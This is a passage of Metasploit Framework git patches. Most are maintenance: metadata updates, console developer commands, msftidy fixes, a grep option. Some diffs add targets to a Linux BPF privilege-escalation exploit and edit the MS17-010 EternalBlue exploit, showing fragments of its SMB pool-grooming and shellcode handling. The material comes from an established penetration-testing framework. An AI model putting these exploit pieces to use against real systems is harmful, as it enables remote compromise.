b/modules/exploits/linux/local/bpf_sign_extension_priv_esc.rb @@ -32,10 +32,13 @@ class MetasploitModule < Msf::Exploit::Local Fedora 25 kernel 4.8.6-300.fc25.x86_64; Fedora 26 kernel 4.11.8-300.fc26.x86_64; Fedora 27 kernel 4.13.9-300.fc27.x86_64; + Gentoo 2.2 kernel 4.5.2-aufs-r; Linux Mint 17.3 kernel 4.4.0-89-generic; Linux Mint 18.0 kernel 4.8.0-58-generic; Linux Mint 18.3 kernel 4.13.0-16-generic; Mageia 6 kernel 4.9.35-desktop-1.mga6; + Manjero 16.10 kernel 4.4.28-2-MANJARO; + Solus 3 kernel 4.12.7-11.current; Ubuntu 14.04.1 kernel 4.4.0-89-generic; Ubuntu 16.04.2 kernel 4.8.0-45-generic; Ubuntu 16.04.3 kernel 4.10.0-28-generic; From 914501cce2ed5a719966d39593ebadac8e357647 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 17 Jul 2018 07:41:21 -0700 Subject: [PATCH 190/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 2caf0ca651..113b607b35 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -71284,7 +71284,7 @@ "targets": [ "Microsoft Windows Server 2003 R2 SP2 x86" ], - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-14 10:44:09 +0000", "path": "/modules/exploits/windows/iis/iis_webdav_scstoragepathfromurl.rb", "is_install_path": true, "ref_name": "windows/iis/iis_webdav_scstoragepathfromurl" From f93e4a24a9c5c971a122a682bb4624ea719f0484 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 17 Jul 2018 12:59:00 -0500 Subject: [PATCH 191/217] Fix typo --- data/exploits/psnuffle/url.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/exploits/psnuffle/url.rb b/data/exploits/psnuffle/url.rb index d387b69c50..7ca75702d5 100755 --- a/data/exploits/psnuffle/url.rb +++ b/data/exploits/psnuffle/url.rb @@ -16,7 +16,7 @@ class SnifferURL < BaseProtocolParser end def parse(pkt) - # We want to return immediatly if we do not have a packet which is handled by us + # We want to return immediately if we do not have a packet which is handled by us return unless pkt.is_tcp? return if (pkt.tcp_sport != 80 && pkt.tcp_dport != 80) s = find_session((pkt.tcp_sport == 80) ? get_session_src(pkt) : get_session_dst(pkt)) From b0e575a3c330fe3c16095416c21abdc1597afe16 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 17 Jul 2018 11:14:54 -0700 Subject: [PATCH 192/217] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 113b607b35..ac8a75d1b5 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -8866,7 +8866,7 @@ "arch": "", "rport": "", "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2018-07-15 15:38:56 +0000", "path": "/modules/auxiliary/gather/enum_dns.rb", "is_install_path": true, "ref_name": "gather/enum_dns" From 0bdaa0e23a8c5211b675bb65b1b939b26178e9a3 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 17 Jul 2018 13:27:18 -0500 Subject: [PATCH 193/217] Catch connection errors and module.log them --- modules/exploits/windows/smb/ms17_010_eternalblue_win8.py | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py b/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py index 126063003b..687cb3d5bf 100755 --- a/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py +++ b/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py @@ -673,7 +673,12 @@ def exploit(args): module.log('shellcode size: {:d}'.format(len(sc))) module.log('numGroomConn: {:d}'.format(numGroomConn)) - _exploit(args['RHOST'], rport, feaList, sc, numGroomConn, smbuser, smbpass) + try: + _exploit(args['RHOST'], rport, feaList, sc, numGroomConn, smbuser, smbpass) + # XXX: Catch everything until we know better + except Exception as e: + module.log(str(e), 'error') + module.log('done') From e1be94e5686731afb02c85e85dae9d54d354c50d Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 17 Jul 2018 13:42:38 -0500 Subject: [PATCH 194/217] Pass RPORT to sess_port in Impacket --- .../windows/smb/ms17_010_eternalblue_win8.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py b/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py index 687cb3d5bf..2520e96e10 100755 --- a/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py +++ b/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py @@ -345,15 +345,15 @@ def sendEcho(conn, tid, data): # override SMB.neg_session() to allow forcing ntlm authentication if not dependencies_missing: class MYSMB(smb.SMB): - def __init__(self, remote_host, use_ntlmv2=True): + def __init__(self, remote_host, port, use_ntlmv2=True): self.__use_ntlmv2 = use_ntlmv2 - smb.SMB.__init__(self, remote_host, remote_host) + smb.SMB.__init__(self, remote_host, remote_host, sess_port = port) def neg_session(self, extended_security = True, negPacket = None): smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket) -def createSessionAllocNonPaged(target, size, username, password): - conn = MYSMB(target, use_ntlmv2=False) # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set +def createSessionAllocNonPaged(target, port, size, username, password): + conn = MYSMB(target, port, use_ntlmv2=False) # with this negotiation, FLAGS2_EXTENDED_SECURITY is not set _, flags2 = conn.get_flags() # if not use unicode, buffer size on target machine is doubled because converting ascii to utf16 if size >= 0xffff: @@ -555,7 +555,7 @@ def createConnectionWithBigSMBFirst80(target, port, for_nx=False): def _exploit(target, port, feaList, shellcode, numGroomConn, username, password): # force using smb.SMB for SMB1 - conn = smb.SMB(target, target) + conn = smb.SMB(target, target, sess_port = port) conn.login(username, password) server_os = conn.get_server_os() module.log('Target OS: '+server_os) @@ -575,14 +575,14 @@ def _exploit(target, port, feaList, shellcode, numGroomConn, username, password) progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False) # Another TRANS2_OPEN2 (0) with special feaList for disabling NX - nxconn = smb.SMB(target, target) + nxconn = smb.SMB(target, target, sess_port = port) nxconn.login(username, password) nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False) # create some big buffer at server # this buffer MUST NOT be big enough for overflown buffer - allocConn = createSessionAllocNonPaged(target, NTFEA_SIZE - 0x2010, username, password) + allocConn = createSessionAllocNonPaged(target, port, NTFEA_SIZE - 0x2010, username, password) # groom nonpaged pool # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one @@ -593,7 +593,7 @@ def _exploit(target, port, feaList, shellcode, numGroomConn, username, password) # create buffer size NTFEA_SIZE at server # this buffer will be replaced by overflown buffer - holeConn = createSessionAllocNonPaged(target, NTFEA_SIZE-0x10, username, password) + holeConn = createSessionAllocNonPaged(target, port, NTFEA_SIZE-0x10, username, password) # disconnect allocConn to free buffer # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer allocConn.get_socket().close() From 29f05339a92f9cf0a9c43d2be5b359515ebb1bc4 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 17 Jul 2018 14:33:10 -0500 Subject: [PATCH 195/217] Clean up code --- .../post/meterpreter/ui/console/command_dispatcher/core.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 310cbddc49..99564b22ed 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -1113,11 +1113,12 @@ class Console::CommandDispatcher::Core print_status("#{existing_relays.length} TCP relay(s) removed.") end end - - if server.pid == pid + + if pid == server.pid print_error("Process already running at PID #{pid}") return end + server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}") # Do this thang. From 59278aef991ca00d3d820c455ea24c45a9352c1a Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 17 Jul 2018 15:07:50 -0500 Subject: [PATCH 196/217] Add command dispatcher for developer commands --- lib/msf/ui/console/command_dispatcher/core.rb | 1 + .../console/command_dispatcher/developer.rb | 163 ++++++++++++++++++ .../ui/console/command_dispatcher/modules.rb | 142 --------------- lib/msf/ui/console/driver.rb | 3 +- 4 files changed, 166 insertions(+), 143 deletions(-) create mode 100644 lib/msf/ui/console/command_dispatcher/developer.rb diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index d26237f634..22d07189c0 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -19,6 +19,7 @@ require 'msf/ui/console/command_dispatcher/post' require 'msf/ui/console/command_dispatcher/jobs' require 'msf/ui/console/command_dispatcher/resource' require 'msf/ui/console/command_dispatcher/modules' +require 'msf/ui/console/command_dispatcher/developer' require 'msf/util/document_generator' module Msf diff --git a/lib/msf/ui/console/command_dispatcher/developer.rb b/lib/msf/ui/console/command_dispatcher/developer.rb new file mode 100644 index 0000000000..f6e45ca5fb --- /dev/null +++ b/lib/msf/ui/console/command_dispatcher/developer.rb @@ -0,0 +1,163 @@ +# -*- coding: binary -*- + +class Msf::Ui::Console::CommandDispatcher::Developer + + include Msf::Ui::Console::CommandDispatcher + include Msf::Ui::Console::CommandDispatcher::Common + + def initialize(driver) + super + end + + def name + 'Developer' + end + + def commands + { + 'edit' => 'Edit the current module or a file with the preferred editor', + 'reload_lib' => 'Reload one or more library files from specified paths', + 'log' => 'Displays framework.log starting at the bottom if possible' + } + end + + def local_editor + framework.datastore['LocalEditor'] || Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') + end + + def local_pager + framework.datastore['LocalPager'] || Rex::Compat.getenv('PAGER') || Rex::Compat.getenv('MANPAGER') + end + + # XXX: This will try to reload *any* .rb and break on modules + def reload_file(path) + unless File.exist?(path) && path.end_with?('.rb') + print_error("#{path} must exist and be a .rb file") + return + end + + # The file must exist to reach this, so we try our best here + if path =~ %r{^(?:\./)?modules/} + print_error('Reloading Metasploit modules is not supported (try "reload")') + return + end + + print_status("Reloading #{path}") + load path + end + + def cmd_edit_help + print_line 'Usage: edit [file/to/edit]' + print_line + print_line "Edit the currently active module or a local file with #{local_editor}." + print_line 'If a library file is specified, it will automatically be reloaded after editing.' + print_line "Otherwise, you can reload the active module with 'reload' or 'rerun'." + print_line + end + + # + # Edit the current module or a file with the preferred editor + # + def cmd_edit(*args) + editing_module = false + + if args.length > 0 + path = File.expand_path(args[0]) + elsif active_module + editing_module = true + path = active_module.file_path + end + + unless path + print_error('Nothing to edit. Try using a module first or specifying a library file to edit.') + return + end + + editor = local_editor + + unless editor + editor = 'vim' + print_warning("LocalEditor or $VISUAL/$EDITOR should be set. Falling back on #{editor}.") + end + + # XXX: No vprint_status in this context? + # XXX: VERBOSE is a string instead of Bool?? + print_status("Launching #{editor} #{path}") if framework.datastore['VERBOSE'].to_s == 'true' + + unless system(*editor.split, path) + print_error("Could not execute #{editor} #{path}") + return + end + + return if editing_module + + reload_file(path) + end + + # + # Tab completion for the edit command + # + def cmd_edit_tabs(str, words) + tab_complete_filenames(str, words) + end + + def cmd_reload_lib_help + print_line 'Usage: reload_lib lib/to/reload.rb [...]' + print_line + print_line 'Reload one or more library files from specified paths.' + print_line + end + + # + # Reload one or more library files from specified paths + # + def cmd_reload_lib(*args) + if args.empty? || args.include?('-h') || args.include?('--help') + cmd_reload_lib_help + return + end + + args.each { |path| reload_file(path) } + end + + # + # Tab completion for the reload_lib command + # + def cmd_reload_lib_tabs(str, words) + tab_complete_filenames(str, words) + end + + def cmd_log_help + print_line 'Usage: log' + print_line + print_line 'Displays framework.log starting at the bottom if possible.' + print_line "For full effect, 'setg LogLevel 3' before running modules." + print_line + print_line "Log location: #{File.join(Msf::Config.log_directory, 'framework.log')}" + print_line + end + + # + # Displays framework.log starting at the bottom if possible + # + def cmd_log(*args) + path = File.join(Msf::Config.log_directory, 'framework.log') + + # XXX: +G isn't portable and may hang on large files + pager = local_pager.to_s.include?('less') ? "#{local_pager} +G" : local_pager + + unless pager + pager = 'tail -n 24' + print_warning("LocalPager or $PAGER/$MANPAGER should be set. Falling back on #{pager}.") + end + + # XXX: No vprint_status in this context? + # XXX: VERBOSE is a string instead of Bool?? + print_status("Launching #{pager} #{path}") if framework.datastore['VERBOSE'].to_s == 'true' + + unless system(*pager.split, path) + print_error("Could not execute #{pager} #{path}") + end + end + +end diff --git a/lib/msf/ui/console/command_dispatcher/modules.rb b/lib/msf/ui/console/command_dispatcher/modules.rb index 777430ffc0..a09996a77b 100644 --- a/lib/msf/ui/console/command_dispatcher/modules.rb +++ b/lib/msf/ui/console/command_dispatcher/modules.rb @@ -38,9 +38,6 @@ module Msf "search" => "Searches module names and descriptions", "show" => "Displays modules of a given type, or all modules", "use" => "Selects a module by name", - "edit" => "Edit the current module or a file with the preferred editor", - "reload_lib" => "Reload one or more library files from specified paths", - "log" => "Displays framework.log starting at the bottom if possible", } end @@ -63,145 +60,6 @@ module Msf "Module" end - def local_editor - framework.datastore['LocalEditor'] || Rex::Compat.getenv('VISUAL') || Rex::Compat.getenv('EDITOR') - end - - def local_pager - framework.datastore['LocalPager'] || Rex::Compat.getenv('PAGER') || Rex::Compat.getenv('MANPAGER') - end - - # XXX: This will try to reload *any* .rb and break on modules - def reload_file(path) - unless File.exist?(path) && path.end_with?('.rb') - print_error("#{path} must exist and be a .rb file") - return - end - - # The file must exist to reach this, so we try our best here - if path =~ %r{^(?:\./)?modules/} - print_error('Reloading Metasploit modules is not supported (try "reload")') - return - end - - print_status("Reloading #{path}") - load path - end - - def cmd_edit_help - print_line 'Usage: edit [file/to/edit]' - print_line - print_line "Edit the currently active module or a local file with #{local_editor}." - print_line 'If a library file is specified, it will automatically be reloaded after editing.' - print_line "Otherwise, you can reload the active module with 'reload' or 'rerun'." - print_line - end - - # - # Edit the current module or a file with the preferred editor - # - def cmd_edit(*args) - editing_module = false - - if args.length > 0 - path = File.expand_path(args[0]) - elsif active_module - editing_module = true - path = active_module.file_path - end - - unless path - print_error('Nothing to edit. Try using a module first or specifying a library file to edit.') - return - end - - editor = local_editor - - unless editor - editor = 'vim' - print_warning("LocalEditor or $VISUAL/$EDITOR should be set. Falling back on #{editor}.") - end - - # XXX: No vprint_status in this context? - # XXX: VERBOSE is a string instead of Bool?? - print_status("Launching #{editor} #{path}") if framework.datastore['VERBOSE'].to_s == 'true' - - unless system(*editor.split, path) - print_error("Could not execute #{editor} #{path}") - return - end - - return if editing_module - - reload_file(path) - end - - # - # Tab completion for the edit command - # - def cmd_edit_tabs(str, words) - tab_complete_filenames(str, words) - end - - def cmd_reload_lib_help - print_line 'Usage: reload_lib lib/to/reload.rb [...]' - print_line - print_line 'Reload one or more library files from specified paths.' - print_line - end - - # - # Reload one or more library files from specified paths - # - def cmd_reload_lib(*args) - if args.empty? || args.include?('-h') || args.include?('--help') - cmd_reload_lib_help - return - end - - args.each { |path| reload_file(path) } - end - - # - # Tab completion for the reload_lib command - # - def cmd_reload_lib_tabs(str, words) - tab_complete_filenames(str, words) - end - - def cmd_log_help - print_line 'Usage: log' - print_line - print_line 'Displays framework.log starting at the bottom if possible.' - print_line "For full effect, 'setg LogLevel 3' before running modules." - print_line - print_line "Log location: #{File.join(Msf::Config.log_directory, 'framework.log')}" - print_line - end - - # - # Displays framework.log starting at the bottom if possible - # - def cmd_log(*args) - path = File.join(Msf::Config.log_directory, 'framework.log') - - # XXX: +G isn't portable and may hang on large files - pager = local_pager.to_s.include?('less') ? "#{local_pager} +G" : local_pager - - unless pager - pager = 'tail -n 24' - print_warning("LocalPager or $PAGER/$MANPAGER should be set. Falling back on #{pager}.") - end - - # XXX: No vprint_status in this context? - # XXX: VERBOSE is a string instead of Bool?? - print_status("Launching #{pager} #{path}") if framework.datastore['VERBOSE'].to_s == 'true' - - unless system(*pager.split, path) - print_error("Could not execute #{pager} #{path}") - end - end - def cmd_advanced_help print_line 'Usage: advanced [mod1 mod2 ...]' print_line diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index 6bc1e7bd9c..5d016fbd8b 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -36,7 +36,8 @@ class Driver < Msf::Ui::Driver CommandDispatcher::Jobs, CommandDispatcher::Resource, CommandDispatcher::Db, - CommandDispatcher::Creds + CommandDispatcher::Creds, + CommandDispatcher::Developer ] # From 39e381049a055c6c496de3a44a5455188f6b5f23 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 17 Jul 2018 15:36:23 -0500 Subject: [PATCH 197/217] Remove unnecessary include --- lib/msf/ui/console/command_dispatcher/developer.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/developer.rb b/lib/msf/ui/console/command_dispatcher/developer.rb index f6e45ca5fb..d829b3c587 100644 --- a/lib/msf/ui/console/command_dispatcher/developer.rb +++ b/lib/msf/ui/console/command_dispatcher/developer.rb @@ -3,7 +3,6 @@ class Msf::Ui::Console::CommandDispatcher::Developer include Msf::Ui::Console::CommandDispatcher - include Msf::Ui::Console::CommandDispatcher::Common def initialize(driver) super From 09d347ca33f834a1c22e43d71af4324e141413f8 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 17 Jul 2018 16:31:57 -0500 Subject: [PATCH 198/217] Add missed sys.exit(1) --- modules/exploits/windows/smb/ms17_010_eternalblue_win8.py | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py b/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py index 2520e96e10..0a22e1aea0 100755 --- a/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py +++ b/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py @@ -678,6 +678,7 @@ def exploit(args): # XXX: Catch everything until we know better except Exception as e: module.log(str(e), 'error') + sys.exit(1) module.log('done') From 96f9e60e84670896d6f9842fe147209cd5a44a92 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 17 Jul 2018 17:25:38 -0500 Subject: [PATCH 199/217] Swap return for sys.exit(1) --- modules/exploits/windows/smb/ms17_010_eternalblue_win8.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py b/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py index 0a22e1aea0..1dfa6cdf39 100755 --- a/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py +++ b/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py @@ -652,7 +652,7 @@ def _exploit(target, port, feaList, shellcode, numGroomConn, username, password) def exploit(args): if dependencies_missing: module.log('Module dependencies (impacket) missing, cannot continue', 'error') - return + sys.exit(1) # XXX: Normalize strings to ints and unset options to empty strings rport = int(args['RPORT']) From e5efa4faacf33fd740f94e8afae6bd8fea69d7d9 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 17 Jul 2018 17:34:51 -0500 Subject: [PATCH 200/217] Make failures consistent --- modules/exploits/windows/smb/ms17_010_eternalblue_win8.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py b/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py index 1dfa6cdf39..d1c4ef9250 100755 --- a/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py +++ b/modules/exploits/windows/smb/ms17_010_eternalblue_win8.py @@ -563,10 +563,10 @@ def _exploit(target, port, feaList, shellcode, numGroomConn, username, password) build = int(server_os.split()[-1]) if build >= 14393: # version 1607 module.log('This exploit does not support this build: {} >= 14393'.format(build), 'error') - sys.exit() + sys.exit(1) elif not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")): module.log('This exploit does not support this target: {}'.format(server_os), 'error') - sys.exit() + sys.exit(1) tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') @@ -665,7 +665,7 @@ def exploit(args): if len(sc) > 0xe80: module.log('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80), 'error') - sys.exit() + sys.exit(1) # Now, shellcode is known. create a feaList feaList = createFeaList(len(sc)) From ae9677c1c2cdf56005104360dd54e51d5c0abb61 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 17 Jul 2018 18:11:16 -0500 Subject: [PATCH 201/217] Rework msftidy retvals INFO should not be an error. Also prevent retval overflow. --- tools/dev/msftidy.rb | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/tools/dev/msftidy.rb b/tools/dev/msftidy.rb index b4e64e35db..ebfa10dc04 100755 --- a/tools/dev/msftidy.rb +++ b/tools/dev/msftidy.rb @@ -42,9 +42,8 @@ class Msftidy # Status codes OK = 0 - INFO = 1 - WARNING = 2 - ERROR = 3 + WARNING = 1 + ERROR = 2 # Some compiles regexes REGEX_MSF_EXPLOIT = / \< Msf::Exploit/ @@ -72,7 +71,7 @@ class Msftidy # error. def warn(txt, line=0) line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'WARNING'.yellow}] #{cleanup_text(txt)}" - @status += WARNING + @status = WARNING if @status < WARNING end # @@ -84,7 +83,7 @@ class Msftidy def error(txt, line=0) line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'ERROR'.red}] #{cleanup_text(txt)}" - @status += ERROR + @status = ERROR if @status < ERROR end # Currently unused, but some day msftidy will fix errors for you. @@ -100,7 +99,6 @@ class Msftidy return if SUPPRESS_INFO_MESSAGES line_msg = (line>0) ? ":#{line}" : '' puts "#{@full_filepath}#{line_msg} - [#{'INFO'.cyan}] #{cleanup_text(txt)}" - @status += INFO end ## From 1f887b3e197a0ccdce41148ab837a2091d45a25d Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 17 Jul 2018 18:19:09 -0500 Subject: [PATCH 202/217] Fix spec to check retval instead of stdout stdout check is fine for untidy module, since it needs messages. --- spec/tools/dev/msftidy_spec.rb | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) diff --git a/spec/tools/dev/msftidy_spec.rb b/spec/tools/dev/msftidy_spec.rb index bf9f115f85..e836e0a151 100644 --- a/spec/tools/dev/msftidy_spec.rb +++ b/spec/tools/dev/msftidy_spec.rb @@ -8,11 +8,12 @@ RSpec.describe Msftidy do let(:msftidy) { Msftidy.new(auxiliary_tidy) } before(:each) do - @msftidy_stdout = get_stdout { msftidy.run_checks } + msftidy.run_checks + @msftidy_status = msftidy.status end - it "outputs nothing" do - expect(@msftidy_stdout).to be_empty + it "returns zero (no warnings or errors)" do + expect(@msftidy_status).to be_zero end end @@ -38,11 +39,12 @@ RSpec.describe Msftidy do let(:msftidy) { Msftidy.new(payload_tidy) } before(:each) do - @msftidy_stdout = get_stdout { msftidy.run_checks } + msftidy.run_checks + @msftidy_status = msftidy.status end - it "outputs nothing" do - expect(@msftidy_stdout).to be_empty + it "returns zero (no warnings or errors)" do + expect(@msftidy_status).to be_zero end end end From 07203dccc6e4290cd3a999cfbe5a36e31966468d Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 17 Jul 2018 19:10:30 -0500 Subject: [PATCH 203/217] Clean up some things --- lib/msf/base/serializer/readable_text.rb | 4 ++-- lib/msf/core/module/reference.rb | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index daef566ce2..cb6e2299c6 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -512,7 +512,7 @@ class ReadableText output << "#{indent}CVE: Not available\n" end - mod.references.each { |ref| + mod.references.each do |ref| case ref.ctx_id when 'CVE', 'cve' if !cve_collection.empty? && ref.ctx_val.blank? @@ -523,7 +523,7 @@ class ReadableText else output << indent + ref.to_s + "\n" end - } + end output << "\n" end diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index cc919e1d0c..a7351c164b 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -115,10 +115,10 @@ class Msf::Module::SiteReference < Msf::Module::Reference self.site = "https://packetstormsecurity.com/files/#{in_ctx_val}" elsif in_ctx_id == 'URL' self.site = in_ctx_val.to_s - elsif in_ctx_id == 'SOUNDTRACK' - self.site = "Soundtrack: #{in_ctx_val}" elsif in_ctx_id == 'LOGO' self.site = "Logo: #{in_ctx_val}" + elsif in_ctx_id == 'SOUNDTRACK' + self.site = "Soundtrack: #{in_ctx_val}" elsif in_ctx_id == 'AKA' self.site = "Also known as: #{in_ctx_val}" else From 38daeb1b9f83ac137c68bb724d211e58991aa280 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 17 Jul 2018 19:36:35 -0500 Subject: [PATCH 204/217] Fix #10283, SOUNDTRACK and LOGO refs Some dupe code came in from master. Fixing and refactoring. --- lib/msf/base/serializer/readable_text.rb | 10 +++------- lib/msf/core/module/reference.rb | 4 ++-- 2 files changed, 5 insertions(+), 9 deletions(-) diff --git a/lib/msf/base/serializer/readable_text.rb b/lib/msf/base/serializer/readable_text.rb index cb6e2299c6..83c30fbab0 100644 --- a/lib/msf/base/serializer/readable_text.rb +++ b/lib/msf/base/serializer/readable_text.rb @@ -500,13 +500,6 @@ class ReadableText if (mod.respond_to?(:references) && mod.references && mod.references.length > 0) output << "References:\n" - mod.references.each do |ref| - if Rex::Compat.getenv('FUEL_THE_HYPE_MACHINE') && %w[LOGO SOUNDTRACK].include?(ref.ctx_id) - Rex::Compat.open_browser(ref.ctx_val) - end - output << indent + ref.to_s + "\n" - end - cve_collection = mod.references.select { |r| r.ctx_id.match(/^cve$/i) } if cve_collection.empty? output << "#{indent}CVE: Not available\n" @@ -520,6 +513,9 @@ class ReadableText else output << indent + ref.to_s + "\n" end + when 'LOGO', 'SOUNDTRACK' + output << indent + ref.to_s + "\n" + Rex::Compat.open_browser(ref.ctx_val) if Rex::Compat.getenv('FUEL_THE_HYPE_MACHINE') else output << indent + ref.to_s + "\n" end diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index a7351c164b..f44c8d5c0d 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -115,12 +115,12 @@ class Msf::Module::SiteReference < Msf::Module::Reference self.site = "https://packetstormsecurity.com/files/#{in_ctx_val}" elsif in_ctx_id == 'URL' self.site = in_ctx_val.to_s + elsif in_ctx_id == 'AKA' + self.site = "Also known as: #{in_ctx_val}" elsif in_ctx_id == 'LOGO' self.site = "Logo: #{in_ctx_val}" elsif in_ctx_id == 'SOUNDTRACK' self.site = "Soundtrack: #{in_ctx_val}" - elsif in_ctx_id == 'AKA' - self.site = "Also known as: #{in_ctx_val}" else self.site = in_ctx_id self.site += " (#{in_ctx_val})" if (in_ctx_val) From 94297de2567928c9885420543d8d49a0ab5c4dd3 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 17 Jul 2018 20:52:46 -0500 Subject: [PATCH 205/217] Add grep -C to msfconsole --- lib/msf/ui/console/command_dispatcher/core.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 22d07189c0..918e175820 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -83,8 +83,9 @@ class Core "-i" => [ false, "Ignore case." ], "-m" => [ true, "Stop after arg matches." ], "-v" => [ false, "Invert match." ], - "-A" => [ true, "Show arg lines of output After a match." ], - "-B" => [ true, "Show arg lines of output Before a match." ], + "-A" => [ true, "Show arg lines of output after a match." ], + "-B" => [ true, "Show arg lines of output before a match." ], + "-C" => [ true, "Show arg lines of output around a match." ], "-s" => [ true, "Skip arg lines of output before attempting match."], "-k" => [ true, "Keep (include) arg lines at start of output." ], "-c" => [ false, "Only print a count of matching lines." ]) @@ -1988,6 +1989,12 @@ class Core output_mods[:before] = val.to_i # delete opt and val from args list args.shift(2) + when "-C" + # also return arg lines around a match + output_mods[:before] = val.to_i + output_mods[:after] = val.to_i + # delete opt and val from args list + args.shift(2) when "-v" # invert match match_mods[:invert] = true From 9d2bed25967fd11acf701eda6d21c2c403577fe6 Mon Sep 17 00:00:00 2001 From: William Vu Date: Tue, 17 Jul 2018 21:08:21 -0500 Subject: [PATCH 206/217] Fix grep's prompt rewriting Missed in #9261. --- lib/msf/ui/console/command_dispatcher/core.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 918e175820..fbc84b4ebf 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -2048,7 +2048,7 @@ class Core prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar mod = 